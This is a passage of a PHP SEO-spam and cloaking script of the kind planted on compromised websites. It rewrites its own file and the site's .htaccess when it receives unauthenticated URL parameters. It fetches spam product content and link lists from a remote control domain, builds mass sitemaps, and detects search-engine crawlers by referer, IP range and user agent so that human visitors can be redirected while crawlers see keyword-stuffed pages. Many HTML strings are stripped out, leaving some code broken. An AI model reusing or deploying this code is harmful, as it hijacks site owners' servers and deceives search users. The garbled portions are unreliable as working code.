";
// print_r($arrId);
// die();
// require_once("id$num.php");
$indexId=array_rand($arrId,1); $str = str_replace('$id = "320175206-21155"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str); file_put_contents(__FILE__, $str);
echo '
rset ok!
';
}
if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("JGNUM","40");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
jgshu (".$_GET["jgshu"].") ok!
";}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
ljshu (".$_GET["ljshu"].") ok!
";}
if(isset($_GET["moshi"])){
if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
echo "
set fails, moshi value must be 0,1,2 or 3 !
"; die(); }
if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
@unlink(".htaccess"); }
$strDefault = file_get_contents(__FILE__);
$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
$rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
moshi (".$_GET["moshi"].") ok!
";}
if(isset($_GET['hzui']) && $_GET['hzui']){
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = ''; if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; }
$strhtt = ''; if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); }
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '
hzui ($hzReplace) modify ok!
";
}
if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
modifydate (".$_GET["modifydate"].") ok!
";}
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
if(isset($_GET["gsitemap"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../websitemap"))
mkdir("../websitemap", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum);
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
$idUrl = GETDOM . "gpage.php?getid=$vss";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrId = explode(',',$tempIdStr);
// echo "
";
// print_r($arrId);
// die();
if(count($arrId) < 100){
echo "g sitemap fail
";
die();
}
echo $vals."
";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrId,2,1); }else{
gsitemap($arrId,1,2); }
}else{
if(JDT == 1){
gsitemap2($arrId,2,1); }else{
gsitemap2($arrId,1,2); }
}
unset($arrId,$tempArr1,$tempArr2); }
}
if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"])){
die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r0 ='#^'. BZSITE .'(\d+)[-/]#i';
$r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
if(preg_match($r0,$UrlParent,$matches)){
if(isset($matches[1]))
$tempSid = $matches[1]; }else{
preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
$tempSid = $matches10[1]; }
$r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempSid && $tempPid){
$_GET['id']= $tempSid .'-'. $tempPid; }
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r0 ='#^'. BZSITE .'(\d+)[-/]#i';
$r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
if(preg_match($r0,$UrlParent,$matches)){
if(isset($matches[1]))
$tempSid = $matches[1]; }else{
preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
$tempSid = $matches10[1]; }
$r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempSid && $tempPid){
$_GET['id']= $tempSid .'-'. $tempPid; }
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];else{
$id = "320175206-21155"; //llq index id
}
$idTemp = explode('-',$id);if(count($idTemp) < 2)
die();
$id23 = end($idTemp);
$numArr_key = count($arr_key);
$siteid = $idTemp[count($idTemp)-2];
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
$pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM;
// $_SERVER["HTTP_REFERER"] = "google.com.hk";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){
$jumDom = DOMTXT . $siteid .".txt";
$domJump = curl_get_from_webpage($jumDom,'',5); $iszz = isCrawler();
echo ''; die();
}
}
$fcontent = '';
$keyKey = $id23 % $numArr_key;$keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2;$pInfoUrl = GETDOM . "gpage.php?id=$siteAID&jgnum=". JGNUM ."&linknum=".LINKNUM;
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rFL = '#(.*?) #si';preg_match($rFL, $pInfoStr, $matchFL);
if($matchFL[1]) $fStr = $matchFL[1];else $fStr = '';
$arrf1 = explode("#llqllqllq#",$fStr);
$arrF2s = array();if(count($arrf1)){foreach($arrf1 as $values){$values = trim($values);$arrts = explode("===>",$values);if(count($arrts) == 2)$arrF2s[$arrts[0]] = $arrts[1];}}
$arrPre = array_slice($arrF2s, 0, LINKNUM);$arrNext = array_slice($arrF2s, LINKNUM);
$rLK = '#(.*?) #si';
preg_match($rLK, $pInfoStr, $matchLK);
if($matchLK[1])
$lkStr = trim($matchLK[1]);
else
die();
$html = curl_get_from_webpage($lkStr,'',5);
$html = iconv('EUC-JP','utf-8',$html);
$proNameRelur='#(.*?)#si';
preg_match($proNameRelur, $html, $matchesName);
$productsName = rmhtmltag2('',$matchesName[1]);
$productsName = trim($productsName);
$proPd2Relur = '#(.*?)#si';
preg_match($proPd2Relur, $html, $matchesPd2);
$productsPd2 = $matchesPd2[1];
$productsPd2 = rmhtmltag2('',$productsPd2);
preg_match_all('#(.*?)\s*
\s*
\s*#si', $html, $matchesDes);
$productsDes = $matchesDes[1];
preg_match('#(.*?)\s*
\s*
\s* #si', $html, $matchesDes2);
$productsDes .= $matchesDes2[1];
$productsDes = rmhtmltag2('iframe', $productsDes);
$productsDes = rmhtmltag2('a', $productsDes);
$flagss = 0;
if(count($productsImgArr) > 0){
foreach($productsImgArr as $values){
$values = trim($values);
if($values){
if($flagss == 0){
$productsImg = $values;
$flagss = 1;
}else{
if(!strstr($productsDes, $values)){
$productsDes .= '
';
}
}
}
}
}
$productsDes = str_replace('
(.*?)#si';preg_match($rCat, $html, $matchCat);
$catStr = $matchCat[1];
$catStr = rmhtmltag2('',$catStr);
$arrCatTemp = explode('>',$catStr);
foreach($arrCatTemp as $key=>$vas){
if($key == 0)
continue;
$arrCat[] = trim($vas);
}
$pCat = '';
for($i=0;$i'.$vs.'';
}
$pCat = '';
if($preOrEnd){$rPlaceTitle = $pName . $rKey;}else{$rPlaceTitle = $rKey . $pName;}$rPlacePname = $rPlaceTitle;$keywordKey = get_arrvs($arr_key,1*KEYJG,$keyKey);$rPlaceKey = $pName.",".$rKey.",".$keywordKey;$desKey1 = get_arrvs($arr_key,2*KEYJG,$keyKey);$desKey2 = get_arrvs($arr_key,3*KEYJG,$keyKey);$rPlaceDes = $pName.",".$rKey.",".$desKey1.",".$desKey2;$pDes = str_ireplace("
#bbbtitlebbb#
';$rpDes = $myLink.$pDes.$pd2.'';if(!strstr($rpDes,$pImg)){$rpDes .= PHP_EOL ."
".'
'."
";}$rpDes = str_replace($pName,$rPlacePname,$rpDes);$rpDes = str_replace('#bbbtitlebbb#',$rPlacePname,$rpDes);
$pCat = str_replace('index.php?category=','/index.php?category=',$pCat);
if(count($arrPre)){
$linkfirst = '';
$itemp = 0; foreach($arrPre as $valueFlinkId => $vsss){
list($tempSid,$tempPid) = explode('-',$valueFlinkId);
$friendlink = getalink($tempSid,$tempPid);
$keyKey = $tempPid % $numArr_key;
$keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
$tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
$tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
if($itemp%2)$itempName = $pName.get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey);else $itempName = get_arrvs($arr_key,(4+$itemp++)*KEYJG,$keyKey).$pName;
$linkfirst=$linkfirst."". $tempLinkKey ."
". $itempName ."
".PHP_EOL; }
}
if(count($arrNext)){
$linklast = '';
foreach($arrNext as $valueFlinkId => $vsss){
list($tempSid,$tempPid) = explode('-',$valueFlinkId); $friendlink = getalink($tempSid,$tempPid);
$keyKey = $tempPid % $numArr_key;
$keyWzi2 = $tempPid % 6; if($arrKeywz[$keyWzi2]%2){
$tempLinkKey = trim($arrF2s[$valueFlinkId]) . $arr_key[$keyKey]; }else{
$tempLinkKey = $arr_key[$keyKey] . trim($arrF2s[$valueFlinkId]); }
$linklast=$linklast."". $tempLinkKey ."
".PHP_EOL; }
}
$fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html"));
$html = str_ireplace('#bbbtitlebbb#', '#bbbtitlebbb#', $html); $html = str_ireplace('#bbbtitsbbb#', $rPlacePname.' - '.$_SERVER['HTTP_HOST'], $html); $html = str_ireplace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_replace('#bbbtitlebbb#', $rPlacePname, $html); $html = str_ireplace('#bbbkeybbb#', $rPlaceKey, $html); $html = str_ireplace('#bbbdesbbb#', $rPlaceDes, $html);
$html = str_ireplace('#links1#', $linkfirst, $html); $html = str_ireplace('#links2#', $linklast, $html); $html = str_ireplace('#content#', $fcontent, $html); $html = str_ireplace('#descontent#', $rpDes.$pCat, $html);
echo $html;
die();
function getMapNum($bgNum){
$TempArr = array();
if($bgNum + 9 <= FNUM){
for($i=0;$i<10;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<10;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandId(){
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num]; else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey); else
return $arr[abs($nowkey + $num - $numArr)]; }
}
function get_pre_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2); }
}else{
return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
}
function get_next_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function glink($filenames,$jdt=1){
$filePres = ''; $fileEnds = '';
if($jdt == 1){
$filePres = basename(__FILE__) . "?id="; }else{
$filePres = ''; $fileEnds = JTHZ; }
////获取文件目录
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$put_str = '';
$urlsArray = $filenames; //print_r($urlsArray);
$numLinks = count($urlsArray);
foreach($urlsArray as $value){
$curphp=basename(__FILE__);
$first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); //print_r( $value.$curphp." ".$first." ".$last); if($first===false && $last===false && $checkTxt===false)
{
$url=$serpath ."/". $filePres . PRENAME . '-' . basename($value) .$fileEnds; $put_str .= $url . PHP_EOL;
}
}
$gFile = 'urls.txt'; echo '
'.$gFile.'';
@unlink($gFile); file_put_contents($gFile,$put_str); echo "生成成功!
";
}
//生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径
//$dir目录参数
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$filePres = ''; $fileEnds = '';
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
$filePres = ''; }
if(JDT == 3){
$fileEnds = ''; }else{
$fileEnds = JTHZ; }
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ' ';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
$url = getalink($tempSid,$tempPid);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
$str = ''; $gnumber++; return; }
$str .= "
" . $url . "
". $date . "T" . $time ."-05:00
daily
0.1
";
$star++; $starPri++; }
}
{
$gFile = '../websitemap/sitemap' . $gnumber .'.xml'; $gnumber++; echo '
'.$gFile.'
';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
}
unset($tempArr1); unset($filenames);
echo "生成sitemap成功!";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$filePres = ''; $fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ' ';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "
" . $siteLink . "
". $date . "T" . $time ."-05:00
always
1.0
";
$tempArr1 = $filenames;
foreach($tempArr1 as $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempSid,$tempPid) = explode('-',$value);
$url = getalink($tempSid,$tempPid);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '
'.$gFile.'
';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= "
" . $url . "
". $date . "T" . $time ."-05:00
daily
". $priority . "
";
}else{
$str .= "
" . $url . "
". $date . "T" . $time ."-05:00
daily
0.1
";
}
$star++; $starPri++; }
}
{
$gFile = '../websitemap/sitemap' . $gnumber .'.xml'; echo '
'.$gFile.'
';
$gnumber++;
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
}
unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
}
function fillUrl($str = '', $url){
$relur = '#(?:href|src) ?= ?"([^"]+)"#s';
$urlInfo = parse_url($url);
preg_match_all($relur, $str, $matches);
if(count($matches[1])){
foreach($matches[1] as $values){
if(!strstr($values, "//") && !strstr($values, "..")){
$rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr);
$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){
// echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die();
$rStr = str_replace(basename($url),"",$url)."/".$values;
$rStr = str_replace("http://","",$rStr);
$rStr = str_replace("https://","",$rStr);
$rStr = str_replace("//","/",$rStr);
$rStr = str_replace("","https://",$rStr);
$rStr = str_replace("","http://",$rStr);
$str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }
}
}
$relur = '#(?:href|src) ?= ?\'([^\']+)\'#s';
$urlInfo = parse_url($url);
preg_match_all($relur, $str, $matches);
// print_r($matches[1]);
if(count($matches[1])){
foreach($matches[1] as $values){
if(!strstr($values, "//") && !strstr($values, "..")){
$rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){
$rStr = str_replace(basename($url),"",$url)."/".$values;
$rStr = str_replace("http://","",$rStr);
$rStr = str_replace("https://","",$rStr);
$rStr = str_replace("//","/",$rStr);
$rStr = str_replace("","https://",$rStr);
$rStr = str_replace("","http://",$rStr);
$str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }
}
}
return $str;}
function auto_read($str, $charset='UTF-8') {
$list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp');
$encode = mb_detect_encoding($str, $list); // echo $encode;die();
if($encode == 'UTF-8'){
return $str; }else{
return mb_convert_encoding($str, $charset, $encode); }
}
function detect_encoding($file){
$list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) {
$tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) {
return $item; }
}
return null;}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_REFERER, $urlReferer);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function getalink($sid,$pid){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$ms = $arrnametime[$pid % count($arrnametime)];
$keyNum = $arrKeywz[$pid % count($arrKeywz)];
$keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0;
if($ms == 2 or $ms ==4){
if($keyNum >= 9){
$fg = 4; }elseif($keyNum >= 7){
$fg = 3; }else{
$fg = 2; }
}
for($i=0;$i<$keyNum;$i++){
$tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++)
$tempstr .= $strRand[$flag++]{$keyStrKey};
$keyArr[$i] = $tempstr; }
$SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = '';
if(JDT == 3){
for($i=0;$i<$keyNum;$i++){
if($SidWz == $i)
$linkCenter .= BZSITE . $sid .'-';
if($PidWz == $i)
$linkCenter .= BZPRO . $pid .'-';
$linkCenter .= $keyArr[$i] .'-'; }
$linkCenter .= $linkCenter . "#llq"; $linkCenter = str_replace('-#llq','',$linkCenter); return $filePres.$linkCenter; }
if($ms == 1){
for($i=0;$i<$keyNum;$i++){
if($SidWz == $i)
$linkCenter .= BZSITE . $sid .'-';
if($PidWz == $i)
$linkCenter .= BZPRO . $pid .'-';
$linkCenter .= $keyArr[$i] .'-';
}
$linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
}elseif($ms == 2){
for($i=0;$i<$keyNum;$i++){
if($SidWz == $i)
$linkCenter .= BZSITE . $sid .'-';
if($PidWz == $i)
$linkCenter .= BZPRO . $pid .'-';
$linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
$linkCenter .= '/'; }
}
$linkCenter .= "/"; $linkCenter = str_replace("-/","/",$linkCenter);
}elseif($ms == 3){
for($i=0;$i<$keyNum;$i++){
if($SidWz == $i)
$linkCenter .= BZSITE . $sid .'-';
if($PidWz == $i)
$linkCenter .= BZPRO . $pid .'-';
$linkCenter .= $keyArr[$i] .'-';
}
$linkCenter .= JTHZ; $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
}elseif($ms == 4){
for($i=0;$i<$keyNum;$i++){
if($SidWz == $i)
$linkCenter .= BZSITE . $sid .'-';
if($PidWz == $i)
$linkCenter .= BZPRO . $pid .'-';
$linkCenter .= $keyArr[$i] .'-'; if($i == $fg-1){
$linkCenter .= '/'; }
}
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); }
return $filePres.$linkCenter;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function get_real_ip(){
$ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"]; }
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i]; break; }
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);}
//file end